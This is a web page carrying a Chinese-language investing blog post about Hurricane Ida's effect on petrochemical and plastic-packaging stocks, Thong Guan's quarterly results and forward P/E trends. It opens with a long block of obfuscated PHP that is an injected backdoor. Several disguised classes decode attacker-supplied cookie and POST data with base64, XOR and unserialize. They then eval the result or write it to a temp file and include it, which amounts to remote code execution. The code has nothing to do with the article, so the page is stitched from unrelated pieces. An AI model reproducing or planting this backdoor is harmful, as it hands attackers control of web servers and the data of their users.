$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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飓风“艾达”来袭，包装行业凉了？谈谈历史本益比 - Sharix

飓风“艾达”来袭，包装行业凉了？谈谈历史本益比

之前的文章笔者有说到等待包装行业的公司出业绩之后会再和大家更进。那 “刚好” 在美国墨西哥湾地区发生了历史性的天气事件，笔者就趁这个机会和大家探讨到底发生了什么事，也顺便和大家分享其中一家塑料包装公司最新的业绩表现。最后笔者也会和大家分享什么是本益比趋势，及为什么投资者应该要多关注公司过去的本益比作为参考。

美国南部名城新奥尔良近日再度成为飓风艾达的主要受害者，受灾区百万人口断电，并且受到洪水威胁。而美国东岸的纽约也受到艾达余波挟带豪雨的影响，导致城市宣布进入紧急状态。根据安全与环境执法局的数据，随着艾达朝向钻井及其他基础设施，能源企业已经在上周六停止91% 的原油生产，或相当于165万桶/日。石油和天然气公司也已经疏散了290个海上设施，并将11艘钻井船转移出危险地带。

另一边厢，CGS-CIMB的分析员就在前天将乐天大腾化学 LCTITAN 的评级从 “守住” 上修至 “加码”，目标价则维持RM2.92不变，并称飓风艾达可能推高聚乙烯 (PE) 和单乙二醇 (MEG) 价格。飓风对石化产品会产生正面影响，而报告也显示LCTITAN在美国的设施没有受到飓风的任何破坏。

很多时候当某件事情发生，对于A行业来说是个利好，但对于B行业来说是个利空。飓风对于所有石化产品公司是个短期性的利好，因为天灾的发生会导致许多炼油厂停止生产，在供给受限的环境下，石化产品的平均售价也会提升。但是，这对于塑料包装行业来说绝对是个短期的利空。

笔者在之前的文章也有介绍过塑料包装原料的由来。而塑料包装公司的主要原材料合成树脂 (resin) 就是从石油提炼出来的石化产品。当石化产品涨价，塑料包装公司的原料成本增加，就会影响公司的毛利。但是，笔者认为这些都是短期性的因素，从长期来看笔者对于石化产品的趋势偏向悲观。随着世界各地的石化产能陆续开跑，未来的供给将会有所提升，平均价格就会下跌。

而我们也可以从塑料包装公司最新季度的业绩观察到，上半年成本高涨并没有对它们造成打击，反而盈利能力变强了。到底发生了什么事？笔者就用通源工业的业绩 (Thong Guan) 和大家作简单的分享。

TGUAN在最新季度的营收按年成长34.8% 至RM307.3 million的历史新高，主要受到市场对于拉伸膜、工业包装和快递袋强劲的需求带动。从业务分类做观察，公司的塑料包装及食品业务的营收分别按年成长37% 及12.3% 至RM284.5 million及RM22.8 million。

盈利方面，即使公司的原料成本走高，但公司表明有能力把成本转嫁给客户，使得公司的净利因为平均售价的提高，按年成长24.8% 至RM25.5 million的历史新高纪录。笔者在上方整理了TGUAN的营运利率让大家参考。可以看到拉伸膜生产商近期在议价能力方面占有绝对的优势，公司的营运利率在最新季度来到了11.8% 的高位。笔者认为在需求保持强劲的背景下，营运利率将会维持在11% 至12% 的水平，所以笔者预计公司下半年的业绩也是值得期待的。

展望未来，公司为了应付客户的需求也正在积极扩充产能，包括建造新厂房及购买更多的拉伸膜设备等，我们也能看到公司在上半年总共投入了RM20.2 million的资本进行扩张。但碍于目前的进度受到了行动管制令的拖累，管理层预计将在今年末完成。资产负债表方面，公司处于RM65.1 million的净现金状态，而公司也保持每年稳定派息，是一家进可攻退可守的公司。

此外，笔者也整理了TGUAN的远期本益比趋势 (Forward PER trend) 供大家参考。投资者可以通过远期本益比的趋势去判定一家公司目前的估值是否偏离长期平均数（红色线），从中观察公司的估值是否变得昂贵或便宜。从上图可以看到，目前TGUAN的远期本益比为11.9倍，而过去八年的平均本益比为8.5倍。

大家可能会说公司的估值变贵了，但如果观察TGUAN过去三年的的本益比都在平均线之上，象征市场因为某些因素而对公司的估值进行重估。如果公司的盈利能以目前的速度成长，相信这也会进一步把本益比拉低至平均水平。在分析任何公司也好，如果投资者买在接近平均本益比的的水平，风险也相对比较小，因为这时投资者能同时享有盈利成长及估值重估的可能，赚取更大的利润。

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